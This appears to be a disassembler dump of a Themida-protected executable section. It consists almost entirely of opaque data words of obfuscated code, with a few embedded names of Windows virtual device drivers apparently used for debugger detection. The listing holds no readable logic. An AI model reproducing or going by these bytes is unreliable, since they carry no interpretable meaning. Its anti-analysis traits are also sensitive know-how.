		dd 858D8620h, 5E59141h,	0DF8BF860h, 7E86061h, 0B6000000h
		dd 513C5E6Eh, 858B52BDh, 5E21D2Dh, 59958B5Fh, 6105E21Bh
		dd 60016089h, 0D3D38166h, 85C661EBh, 5E20A49h, 55BD894Fh
		dd 2905E20Eh, 0E2253585h, 387E6805h, 6660C051h,	0B866F08Bh
		dd 8161C47Bh, 4C542434h, 0BE93E99h, 0E2000000h,	4CF40401h
		dd 0F16AD8FDh, 0B5FFA0E1h, 5E216A1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0E8C35040h,	0A7B25229h, 6E9h
		dd 0EEF49E00h, 8D9239E2h, 0E57A6185h, 0A1950905h, 0FF05E223h
		dd 818D29D0h, 8905E208h, 0E23245B5h, 0B6E905h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 970C1FC3h, 5C8B2A94h, 0E8550C24h, 0
		dd 0B5ED815Dh, 8B05E590h, 0E2262D85h, 0A1858905h, 8B05E216h
		dd 0E2150D85h, 35858905h, 8B05E216h, 0E2118985h, 99858905h
		dd 0C605E22Fh, 0E20A4985h, 85C70005h, 5E57BD4h,	0
		dd 9141858Dh, 838905E5h, 0B8h, 0C3C0335Dh, 12E9h, 0C017FF00h
		dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 6A70AA79h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 65BBC350h, 1F9ECAC2h, 9589F5F5h, 5E21535h, 12FF74BCh
		dd 11890F00h, 60000000h, 6E8h, 0A1710C00h, 5985F53Fh, 61CAC880h
		dd 95895660h, 5E21C91h,	819D895Bh, 6105E218h, 58F64h, 1000000h
		dd 0E215C5B5h, 0C483F905h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 830F6A14h
		dd 1, 0BD8960FCh, 5E229ADh, 1D2DBD29h, 616105E2h, 7E8h
		dd 7F118900h, 36D3CD1Ah, 8B58F7B7h, 0E20B1995h,	0F7C08105h
		dd 8000005Eh, 0FF2B79D5h, 0FFCB8B66h, 0E9810734h, 5301186Dh
		dd 0D381665Eh, 0F68143BEh, 43716224h, 6860Fh, 958B0000h
		dd 5E208C1h, 1C39C681h,	0CBB92C98h, 815222E2h, 82783CEEh
		dd 20B96664h, 3834897Bh, 6E9h, 0EB87F300h, 0E88CC48Eh
		dd 0Bh,	6DC0D779h, 8E20302Ch, 3138DDB3h, 0E224919Dh, 0EF835A05h
		dd 0FF81F904h, 0FFFFA198h, 0FF95850Fh, 0F51FFFFh, 284h
		dd 59595100h, 12E8h, 87EB6E00h,	18F16353h, 8E456AE4h, 1BD1503Eh
		dd 8B7631F3h, 860F5ECEh, 6, 2AE9BD8Bh, 0C68105E2h, 616Fh
		dd 13919D89h, 54B805E2h, 8128A6F5h, 0A6DD1DE8h,	118D8B28h
		dd 0FF05E20Dh, 5E836h, 32D00000h, 601E42FFh, 972DE2B9h
		dd 5023BE3Fh, 5F6146C6h, 0CCCF815Ah, 8115D89Fh,	0A0495EF2h
		dd 15BD8924h, 8105E221h, 0B33A0C2h, 0D381661Dh,	0F281F0C2h
		dd 32CFE7FEh, 89DAB70Fh, 0DFDB8116h, 83083019h,	5F5604EEh
		dd 0F01E883h, 0FFFFAA85h, 0D9BF0FFFh, 464934EBh, 52474D53h
		dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
		dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
		dd 0FDE90000h, 0E9000006h, 0Dh,	0C2E8FFD8h, 0CF723B6Fh
		dd 0C4576B54h, 9E96047h, 0A000000h, 4262D6CAh, 1E9144E3h
		dd 930F85C7h, 5E5h, 820F0000h, 9, 8202BF60h, 0DE8A671Ch
		dd 6AC68B61h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 3E10C356h, 0F45A9E2h, 5660D8B7h
		dd 14E9h, 9116E100h, 9C34B698h,	60D1922h, 0D0336993h, 0F38CF1AFh
		dd 8A0F5BD0h, 3, 61F1BF0Fh, 0EA84BB60h,	0DA8018AEh, 0E8C161DEh
		dd 1E8C0F10h, 0F000000h, 1882h,	13E900h, 82E90000h, 65E7FABFh
		dd 508EBFB6h, 0ABF06A01h, 0F882F68h, 0C8C166A4h, 0FF96008h
		dd 8961F2B7h, 0E5931385h, 6E905h, 58560000h, 0C1B440EAh
		dd 8CBC166h, 0CE9h, 8FCB4900h, 22F12DFEh, 1A7ED09Ch, 10810F06h
		dd 0E9000000h, 0Bh, 7C550BADh, 2E4DEEF9h, 834EA313h, 850F40FBh
		dd 45h,	0E7BD8DFCh, 6A05E592h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 7EEBC351h, 77EB7E83h
		dd 67BAE7F9h, 8B5160FCh, 0F86058FBh, 92E96161h,	0E9000001h
		dd 5, 0BA3A0E87h, 0DFB837Ch, 61850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 87162FC3h, 0CB253DD4h, 4CF38060h, 612FE880h,	92EFBD8Dh
		dd 0CE905E5h, 0E000000h, 747CBA3Ah, 1B797235h, 0E90D1BDBh
		dd 0Fh,	418ACC01h, 69097C85h, 8B1FA19h,	0E9CF565Eh, 125h
		dd 1810Fh, 83FC0000h, 850F01FBh, 68h, 12E9h, 8A1B8200h
		dd 97FE3946h, 4E124506h, 0D6779F6h, 8D9E3E14h, 0E592F7BDh
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 0E9B9EF99h, 0D5h, 10E85660h, 45000000h
		dd 0F2D45655h, 8FAC99F1h, 0B375BCC9h, 5F4A06F2h, 9E95Fh
		dd 2E540000h, 0D0CA3434h, 613332BCh, 0F2AFB83h,	6D85h
		dd 13E900h, 2A260000h, 2C94C1D8h, 70CF6E29h, 53EC24D4h
		dd 0C207E36h, 0FFBD8DA6h, 6A05E592h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 748EC357h
		dd 5E9E84Fh, 0A9000000h, 0F63721DBh, 58E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 4D6156E8h, 0FB83E8F7h, 46850F27h, 0E9000003h, 0Dh, 5960002Eh
		dd 0F2B25FD4h, 588218EFh, 7BD8D76h, 6005E593h, 0DE9h, 0EDEB3C00h
		dd 81687DA6h, 2CEF99Ch,	6CB62630h, 17BD8961h, 6005E593h
		dd 8166E2B1h, 610198D7h, 0F9C88C66h, 0AF50324h,	12850FC0h
		dd 6A000002h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 6CC9C353h, 8B1BB360h, 7E961DAh
		dd 0FD000000h, 1A56432Eh, 0B58D28EEh, 5E5997Ch,	0D0CE8160h
		dd 8B6B454Ch, 858B61C2h, 5E599D4h, 0AE9h, 835E7F00h, 6ADED69Eh
		dd 92D89347h, 6E860h, 948A0000h, 0A5340DFh, 310F5250h
		dd 575B585Ah, 850Fh, 61580000h,	60525050h, 310F5250h, 0F61585Ah
		dd 5B506031h, 7E9h, 4C467700h, 3AA788B7h, 92585A61h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0D0C35040h, 0B960F1BEh
		dd 61F2BB8Ch, 0F6185B2h, 1383h,	0EE900h, 78D0000h, 4C1943A7h
		dd 0D167DDF0h, 64A20060h, 244C010Fh, 55006AFEh,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 9E902h, 2F410000h
		dd 481A606Bh, 5ADD8518h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0DEC35141h, 0C2833B2Ch, 52006A24h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
		dd 94C80DF3h, 8BCB8B60h, 820F61C1h, 8, 2840Fh, 61600000h
		dd 0FC728966h, 0CE9h, 4B10A900h, 0F8E15977h, 0F324B9CDh
		dd 10CEC168h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	7AC35242h, 0FE9h, 1369B300h, 58361564h,	750DCE4Ah
		dd 4DCE5FAh, 2728966h, 98C0Fh, 66600000h, 2591D381h, 0CD61F78Bh
		dd 18880F04h, 0E9000000h, 13h, 8895D7B4h, 6FF23215h, 847FBB2Bh
		dd 233A2194h, 0E9CF0631h, 11Eh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 62C35343h, 13E860h,	0A8540000h
		dd 70B744E9h, 745CFFECh, 0F145EF55h, 74BD6BCAh,	860FB4h
		dd 5B000000h, 0D4858B61h, 6A05E599h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 2BDFC350h
		dd 0DE9E88Bh, 0F5000000h, 0F2AC26B8h, 58317D19h, 0A096F0BFh
		dd 0CE9h, 0A8C12400h, 0F36D514Ch, 0C4CD4543h, 7CB58D85h
		dd 6A05E599h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 1C21C353h, 1370E46Eh, 0C8D0F1Dh
		dd 0E9000000h, 7, 962CCB38h, 8DCF0304h,	0E5540E85h, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 0B2BF0AB3h, 0D0FFC512h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 82C35141h, 0E6E05ECAh, 0E860D1D1h, 8
		dd 737F00B3h, 0C778BD07h, 5EC8B70Fh, 8589F861h,	5E5930Fh
		dd 6A61F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0AD2131C3h, 858B825Ch, 5E5930Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ACC35545h, 0EBC85ADBh
		dd 0F950D749h, 0AE9C3h,	86930000h, 0B586B97Fh, 470ACB2Eh
		dd 59506060h, 61F38B66h, 9E9h, 88E6700h, 0B020B215h, 60611AA6h
		dd 0BD83FCFCh, 5E599D4h, 27850F00h, 0F000000h, 18Bh, 85C7F800h
		dd 5E599D4h, 1013Fh, 10830Fh, 800F0000h, 0Ah, 5E9h, 87767200h
		dd 1AE9D674h, 0E9000000h, 7, 7766EC69h,	0E9999A8Ah, 9
		dd 0B9C348CBh, 1A7B6F82h, 20CDD1h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 5E59317h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 5E59313h, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 5E5930Fh, 8B04EBh, 8B61C5EBh, 0E5930F85h, 0FCF5CF05h
		dd 83E9C08Bh, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h
		dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h
		dd 57h,	3785B8Bh, 8B1C245Ch, 74032473h,	8B561C24h, 738B207Bh
		dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh,	178B1C24h
		dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h
		dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h
		dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 10E8h
		dd 6D78B300h, 15D8DE14h, 31321AC2h, 0F2A4C987h,	8880F21h
		dd 0F000000h, 28Eh, 5F585600h, 11E9h, 281D3D00h, 6A6D1EC6h
		dd 69CB23B4h, 3714A43Bh, 0C781DF73h, 5C69h, 0C38B6656h
		dd 16DC685Ah, 0CE80000h, 0CF000000h, 47F77213h,	0D2AFD96h
		dd 8BE1A619h, 0F5B58C2h, 0D80h,	8E900h,	3F2B0000h, 0DF3CEC9Fh
		dd 378B9E38h, 81C38B66h, 90BD7EEh, 0CBB70F58h, 4618EE81h
		dd 81F90C65h, 159B1AC6h, 6E875h, 8BD50000h, 0EE6834E2h
		dd 10E960h, 979D0000h, 0CE52EDDFh, 0A59968E5h, 625DE451h
		dd 0F18137F7h, 1947201Dh, 37895861h, 14E96060h,	0B5000000h
		dd 25AA1C3Dh, 0A415E232h, 7C867Eh, 15AC5FAEh, 61D8A6CEh
		dd 58D0Fh, 81660000h, 6113EFD3h, 584AEF81h, 8B10396h, 5846C781h
		dd 8B660396h, 1EB81C3h,	0F000000h, 0FFFF7585h, 8ACBB9FFh
		dd 48E90E3Fh, 50000001h, 54000000h, 58000000h, 5C000000h
		dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h
		dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h
		dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h
		dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h
		dd 38h dup(0)
		dd 0C7000000h, 0EB005278h, 8D009B50h, 0E59BB085h, 0E5E98005h
		dd 9CF08589h, 9D0B05E5h, 5E20C85h, 443EB81h, 85C6178Eh
		dd 5E20A49h, 39BD8B54h,	6805E21Ah, 966FA1BCh, 369ABF66h
		dd 95243481h, 0F780DC9h, 586h, 0E9A7BA00h, 0B5FF44CFh
		dd 5E216A1h, 15159509h,	0BE905E2h, 0F9000000h, 3AC6D40h
		dd 0DD70CEF7h, 858D1EE7h, 5E57A61h, 2FB58D31h, 0D0FF05E2h
		dd 9CF48589h, 805205E5h, 0E95E74C9h, 47h, 5810Fh, 26BE0000h
		db 0C5h, 4Dh, 73h
byte_527A37	db 56h			; DATA XREF: Themida_:004EE4D4o
					; Themida_:004EE9A8o ...
		dd 9CF0B58Bh, 68905E5h,	9CF08583h, 5E0405E5h, 0B58D60C3h
		dd 5E59BB0h, 6A560FEBh,	0FF36FF00h, 0E59CF495h,	0C6835E05h
		dd 3E8304h, 0C361EC75h,	4598D89h, 0F8B905E2h, 8D770DA3h
		dd 0E59D9285h, 0DA8B6605h, 2D318589h, 0E5E905E2h, 10000000h
		dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh,	7DD77DD5h
		dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh
		dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h
		dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h
		dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h
		dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h,	6DF72020h
		dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h,	557D2F6Dh
		dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h
		dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h
		dd 43F2FD54h, 5A5BBBC7h, 0C73E9h, 0A18F6800h, 50E905E5h
		dd 68FFFCE1h, 5E5A26Fh,	0FCE146E9h, 0A31468FFh,	3CE905E5h
		dd 68FFFCE1h, 5E5A3D9h,	0FCE132E9h, 0A44268FFh,	28E905E5h
		dd 68FFFCE1h, 5E5A4D6h,	0FCE11EE9h, 0A60D68FFh,	14E905E5h
		dd 68FFFCE1h, 5E5A717h,	0FCE10AE9h, 0A7E968FFh,	0E905E5h
		dd 68FFFCE1h, 5E5A8BBh,	0FCE0F6E9h, 0A98468FFh,	0ECE905E5h
		dd 46FFFCE0h, 0BB8E1490h, 0EE537F3Bh, 4938A6EAh, 0BF82088Eh
		dd 0DD6A703Eh, 2E746936h, 941AC1A0h, 0FDC13B0Eh, 216790D1h
		dd 0EF48B9A5h, 0F9FD266Eh, 6E3CFEA7h, 99D82369h, 45C95C62h
		dd 565485C4h, 3D258637h, 817A3D49h, 5A63E833h, 2BAEE217h
		dd 0F7B52265h, 450487BAh, 2331492h, 0DEFC18B9h,	0F564E4F7h
		dd 0CFA4A2B3h, 222F28FEh, 0B8BE1B0Eh, 4801FAA0h, 87F650C9h
		dd 0AA23FD65h, 0FA44A091h, 0A13A71F9h, 74FF0E65h, 68990583h
		dd 440F40E9h, 69C6F9FAh, 0A2E81150h, 0B7FDFCBFh, 0BFC6E754h
		dd 0FA445CD2h, 291D5FF9h, 60941CDDh, 0F95EC124h, 0F9FA4478h
		dd 2865D2A9h, 9C1ADFA2h, 0D46E7CEDh, 0CA644135h, 0B5A65145h
		dd 0AD36D04h, 0B1F7E063h, 0A2F0EB6Ah, 0D9DF185Bh, 0D0D60342h
		dd 0BEA800B5h, 0BA3C72C6h, 0E17B7CCAh, 434CF2ABh, 2B7A01Bh
		dd 58FA0188h, 0E0AE3461h, 3FE6EE2Dh, 4E082h, 0EFAEA400h
		dd 0EDA8A1EDh, 54319E15h, 7166E9F2h, 14B5342Bh,	0FC186423h
		dd 640F40E9h, 69C6FC18h, 2E3596EDh, 0F57432A7h,	214448B2h
		dd 447713B4h, 0B0F6E1DFh, 0B4ABE055h, 0FA054713h, 9AE15E01h
		dd 0FA4280BDh, 7947B2F9h, 743AA322h, 7665A411h,	4BF5DD28h
		dd 65E3057Bh, 0AC31E91h, 2B6A3FE7h, 55DAE3AFh, 46h, 3339AE69h
		dd 35C3748Bh, 0D17E3790h, 6ECB4AFDh, 0FC1814EDh, 337E4F24h
		dd 0FA7CA496h, 0E5007F01h, 0FA7CE79Ch, 6422D5F9h, 9319DE01h
		dd 0D3A3AB08h, 0E9DD1B6Dh, 0E6D86BA6h, 5483C23Fh, 25863756h
		dd 0F6F8h, 696EC200h, 6499D823h, 0B27FFD82h, 2B60A3D7h
		dd 9532B534h, 0FC1829A4h, 3425067Dh, 36FC1829h,	0EA5FFBC1h
		dd 1D5EADEBh, 377B61A0h, 3F4667D4h, 9E7DE374h, 2B4A5AF2h
		dd 1820CD8Eh, 0F22F04FCh, 2B7166E9h, 892E51D0h,	0FC1820C8h
		dd 0D6992219h, 0EC7F9B21h, 0FC182446h, 20276592h, 255718A1h
		dd 0B18EFC18h, 5ACF7228h, 5FFBE868h, 32A918B0h,	0BDC196Ch
		dd 0F6159344h, 31301439h, 0FA697EA8h, 3CDA9101h, 0F32163Bh
		dd 1FD99FAAh, 6397604h,	0D1312287h, 8BE0F7DFh, 0CD4CCF32h
		dd 0DFD1EB6Ch, 7C4D3AF7h, 0A66608F5h, 2D02412Eh, 0D3963C69h
		dd 0D81F642Ah, 0DBFE7E36h, 8F2E74Eh, 0F7E10000h, 0A25217B3h
		dd 5189F8E6h, 0F5E0414Dh, 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h
		dd 97338178h, 7E6428D2h, 0C2C8CE0Bh, 1546E302h,	0CCF9FD18h
		dd 6D6E8541h, 11C6BB27h, 18410F8Bh, 60AF8B7Bh, 0EFF81C94h
		dd 297C40B8h, 57F077ACh, 1FAEAE7h, 7B3A413Eh, 0A9FCC038h
		dd 3D329B2Ch, 2EF9FAEAh, 7855DCA8h, 0D73FE666h,	0AFh, 23696EEBh
		dd 0E51659D8h, 66521D5h, 0C80D98D5h, 58B70FFh, 0B974302h
		dd 0DB627BF0h, 18BDD07Eh, 7B6120FCh, 2EAB9637h,	0DA1F6268h
		dd 773CADDCh, 0BD03F694h, 586CED6Eh, 7A5AF36Fh,	7608ED0Eh
		dd 0BA771EAFh, 0CF8EB195h, 0F827800Eh, 0FA97C75Fh, 0F5116E01h
		dd 0F6695DC2h, 1FC7C551h, 6D6DDC04h, 3275F421h,	6ADFFBC9h
		dd 7BC62371h, 6EFE7ECEh, 812381Bh, 0D7010000h, 827237D3h
		dd 31A99806h, 0D500616Dh, 8576CBD7h, 7D64933Fh,	0E9F5BB20h
		dd 0B7536198h, 1E8408F2h, 0E2E8AE2Bh, 352683E2h, 0ECF9FD1Bh
		dd 6D6E65A1h, 11C6BB27h, 6E410F8Bh, 59D82369h, 1DADE16h
		dd 0F713995Eh, 0A8B599D3h, 43028584h, 46F71694h, 0C39E1C65h
		dd 703101FAh, 97C9068Ah, 6422D796h, 279FFA43h, 6AEDFF03h
		dd 0B2C78CCDh, 78F95EF8h, 0A9F8B2C7h, 0EEFFB4D2h, 25240815h
		dd 50B14E84h, 738AE105h, 0B2B59986h, 72A6F915h,	245B100Bh
		dd 0A8367465h, 1D9A20D9h, 0F9D41CBEh, 6D79D8ADh, 7A000007h
		dd 0AF92387Ch, 2676327h, 7DCCCAD6h, 0D3963C7Ah,	0C17E642Ah
		dd 52609D22h, 0B806F5B4h, 0E1AD2F12h, 555384E5h, 0DB7C8549h
		dd 0F9FD1A9Ah, 6E00CA4Bh, 0EFD82369h, 58DB4E62h, 0FC4DBFCFh
		dd 7B4CDC87h, 0FA99A012h, 5047301h, 233A2C94h, 2E51D766h
		dd 0FAB5C889h, 992219F9h, 6145CA8Dh, 547D59FEh,	0DF94041Ch
		dd 0AAF0E9A8h, 1E9C5D2Ch, 0E4FE86Bh, 0CAF7DF12h, 0C2FF86CCh
		dd 0AA818DF6h, 90BD0A11h, 0D7A3EB6h, 0BBF0BD1Ah, 22190A39h
		dd 3D7B7C3Fh, 6127D091h, 86A0AD1Ah, 0BF3C4F55h,	0F54ADF42h
		dd 9F574A59h, 0E9689730h, 776234A6h, 2C99D229h,	4184329Bh
		dd 0E05F1057h, 0B680729Bh, 0F15035F2h, 6A8h, 594541B7h
		dd 22A8ECE8h, 8B179B5Fh, 5D793FB6h, 25A1EFECh, 25D6E78Eh
		dd 0CB0E739Fh, 7268D9C5h, 18C1A02Eh, 39487492h,	0FD1ADF90h
		dd 0CF0F76F9h, 9E5D7B18h, 0B40F510h, 57D6B314h,	300F01FEh
		dd 3894E31h, 7735A287h,	92B6DB14h, 53FB6CEFh, 6142C84Ah
		dd 33A30CDDh, 0E2041F0Eh, 35FF6895h, 97F2FE7Eh,	63FCCh
		dd 0EEAA2C00h, 515581E0h, 0B804F4B5h, 0E2A82F12h, 4A5885E4h
		dd 4F50374Ch, 0A79A008Eh, 1606E34h, 76CBD7DBh, 0D79F3B81h
		dd 1D4809AEh, 9499F9FDh, 577B1856h, 58A377D0h, 8DFA01FEh
		dd 981EDB9Ah, 0CCCA0F72h, 0E5C340B9h, 1B50ABF7h, 111EBBAEh
		dd 0B8041BC8h, 0DC1D5CC3h, 0D5044FDEh, 0C23FBCCFh, 2F7B6F9h
		dd 0A8EB1E84h, 0DE1F6E32h, 1795420Dh, 32163BF4h, 2A2B8C0Fh
		dd 20F7D384h, 116EF4B8h, 0EAE049C8h, 2D0A31EEh,	0D4A82956h
		dd 0D6B3F898h, 5AB8Fh, 7A3EB800h, 0ADE9ED5Ch, 14984021h
		dd 7E3CBB8Eh, 0A6EC1150h, 0DBE48338h, 33769C22h, 6DDCFAC8h
		dd 0C2A7236Fh, 4B0B9715h, 1DDC9D3Ah, 875F9FDh, 23696EC2h
		dd 5A6099D8h, 0B896BBBCh, 61C6793Fh, 0FC18B9F0h, 6A1D4A21h
		dd 0B90D4EEBh, 6FC4FC18h, 0A076D35Eh, 0FB01FAD8h, 6310798Ch
		dd 70F9FAA6h, 568BFEF6h, 0F53FE62Eh, 37h, 5D7B18C9h, 0A1A01D99h
		dd 0FAD15618h, 8FB28901h, 27800CCCh, 0A13E331Ch, 6C2DF9FAh
		dd 0A10B4CEDh, 6DDAF9FAh, 0ABF2BE3Ah, 0E5D19922h, 0E62B6FA2h
		dd 0DBDC3Fh, 6EE60000h,	99D82369h, 84CF5E64h
		dd 393A9F53h, 0E5FC18B9h, 58214F46h, 0EC5BC79Dh, 2F7E3CBDh
		dd 4FCE71AEh, 183D69EAh, 0FAC3B8FCh, 0A1E71053h, 0C68029BEh
		dd 0B679C583h, 48D67115h, 98FC18CAh, 0EFA9535Fh, 1744A7EBh
		dd 0D70A43DAh, 0A32F6422h, 89319DEh, 8BBE92BFh,	0FAAD7C2Eh
		dd 32D89701h, 31301439h, 2128298Eh, 82F9F9FAh, 3D51F639h
		dd 54041FF4h, 0B429681Fh, 14490D32h, 0DF1382B3h, 73E453F7h
		dd 1D4AD781h, 454BB0F1h, 7EDFF338h, 70D3B6FEh, 474h, 95317563h
		dd 7E6420D4h, 0C7C3CF0Bh, 0A9357362h, 719D23D8h, 59821BFAh
		dd 0FFFA4F4Bh, 0A65415B1h, 4C8DFC1Ah, 659C404Eh, 0FD1F93C4h
		dd 1BC342F9h, 42FB6D6Eh, 0B266D929h, 5FE2E825h,	9D2DE1Ch
		dd 8F0B9146h, 9D7B18C1h, 18B93B3Ch, 0FC9DEAFCh,	4CC35A5Ch
		dd 5FC23F44h, 535F9DDCh, 0D13A83C8h, 1FA4C61h, 0A8ECE8ABh
		dd 5BCF185Dh, 0D79699ECh, 0CF0C9F23h, 0C9895FEh, 4D8BF9FAh
		dd 0C8DB3679h, 33723FE6h, 0B8E5C6C4h, 0BFh, 0F37F7639h
		dd 0FA00E556h, 0A473CF9h, 39AEF5B1h, 0E11B845Ah, 0C0D4EDDh
		dd 0F8C17726h, 0E33A8079h, 0D6357B60h, 18C1E589h, 8402F7FCh
		dd 8119C285h, 8637565Ch, 0CF00C049h, 0BC5633BFh, 0CD0A7F2Bh
		dd 0E41958CFh, 0BD0E4FDEh, 10345996h, 4CD6C811h, 320901FAh
		dd 8ABEA394h, 34951497h, 0F9FA0003h, 0FB4465D2h, 41FD044h
		dd 0ECAFD2A9h, 4425A1EFh, 0A1EC0997h, 94FE7EC3h, 36AAEF1h
		dd 7F790000h, 2AAA9F3Bh, 0D901606Eh, 7D78C9D5h,	2DAE933Fh
		dd 25CC7B67h, 0B15D6398h, 1FBB09F0h, 0E6ECB02Ah, 4A505683h
		dd 9DDE7B8Ah, 0B4F9FD1Eh, 6D6E0DC9h, 11C6BB27h,	0B977F841h
		dd 0D1AEFC18h, 0AE707E64h, 47A6ECEFh, 4D8AB516h, 44B53C4Fh
		dd 0EC885846h, 76E9DD42h, 0FAC3A5D1h, 34A4E701h, 0CF0048B4h
		dd 0CC394E56h, 0FDC336B9h, 0D7F02DAEh, 0A384C4B3h, 0A5ACE3D6h
		dd 56C9FD62h, 0E285B1F1h, 5C81E0ABh, 8E1D9B5Ch,	40DB104Dh
		dd 0DCCEA77h, 54D74A87h, 0E2D942F3h, 3A49353h, 53E73B9Ch
		dd 310EAE04h, 0C8A4F0Eh, 0BA36A386h, 6BB200FBh,	631859E2h
		dd 0CCC449C7h, 677A6380h, 0D74A212Dh, 0C775C172h, 0EE5B1049h
		dd 66607E81h, 0C9A8FD54h, 298h,	49555187h, 12B8FCF8h, 0FBE7AB2Fh
		dd 4D494F86h, 15B1FFFCh, 35A6F79Eh, 0DB1E636Fh,	8278C9D5h
		dd 28D1903Eh, 9786462h,	0FD1EAFA0h, 0FF3F66F9h,	0D823696Eh
		dd 0B99262EFh, 0F8D48EFh, 98DE7FFCh, 0BFA21FB0h, 7378102Ah
		dd 0C2CCF047h, 0E52EF960h, 285770ADh, 0FAEF678Fh, 35D1AE01h
		dd 8402F5B4h, 372F5D23h, 0CCC80C2Ah, 0DB58644Bh, 8DFAE941h
		dd 8BF93D9Ah, 5B100418h, 7A2942E5h, 80C3B363h, 0BF885157h
		dd 0A9926292h, 0B25505E5h, 0B824A799h, 95C28B0Dh, 0A7993592h
		dd 0E8ABC9A8h, 1D5EADF3h, 9AE15ECCh, 1D0C202Dh,	0CC1D9B5Ah
		dd 4CAEE445h, 5BDACFCAh, 1407DFEh, 0EDF9428h, 0FDBCA398h
		dd 5110BEFCh, 0AC85E2A8h, 0FF362C33h, 1C6CBAAh,	23D50000h
		dd 0CE067B67h, 7D7DCCCAh, 21D49531h, 0D10A7F9Bh, 0C9A8C7C3h
		dd 1DB907F4h, 0FBE7AD2Ch, 42485486h, 16BCFAFFh,	0C172D72Eh
		dd 10F9FD11h, 696EA96Dh, 62EFD823h, 0D20F9544h,	0CA8B2CAFh
		dd 1BFC18B9h, 0B3149B2Ch, 1FAE44Fh, 37B6A986h, 0FA95A192h
		dd 0A23B70F9h, 0DF8FE4E4h, 4EEB9EB2h, 418EFC8h,	1859FE03h
		dd 0C9F7DC8Fh, 0E93C8078h, 9730376Ch, 0F7DC8FA6h, 95CB007Fh
		dd 0CF9321B2h, 31A8EBBEh, 0AD31863h, 9382C31h, 4DEC32A0h
		dd 0E5A4C5C5h, 0A394B5F1h, 72368183h, 44BDC805h, 0D374EBDFh
		dd 0CB6709BFh, 0A7E699D6h, 1B6E7432h, 0A75312DEh, 0F24B801Bh
		dd 2C660D41h, 16EDB90h,	39C77822h, 0FD351C69h, 0EA000000h
		dd 5F22A8ECh, 0B2F71397h, 0ED5C7A46h, 4326ACEAh, 718E149Ah
		dd 0C2D00D92h, 287665C4h, 911DDFA2h, 0C5C33475h, 4BEC15D9h
		dd 0F9FD100Ah, 6E905ADBh, 0EFD82369h, 58DB4E62h, 0DDEE419h
		dd 0FADD92A4h, 0BE3C0D01h, 474B8FF2h, 46CB8C0Ah, 745AFF62h
		dd 84041C7Ch, 738A18C5h, 3E613126h, 0F448B7Bh, 881368BEh
		dd 0D9009049h, 0F1709ECBh, 0E0C57F58h, 0F7287CDh, 33B8C3C7h
		dd 7432A7AAh, 84F96E11h, 0F452A7B9h, 0C393FCCDh, 0CA5011E7h
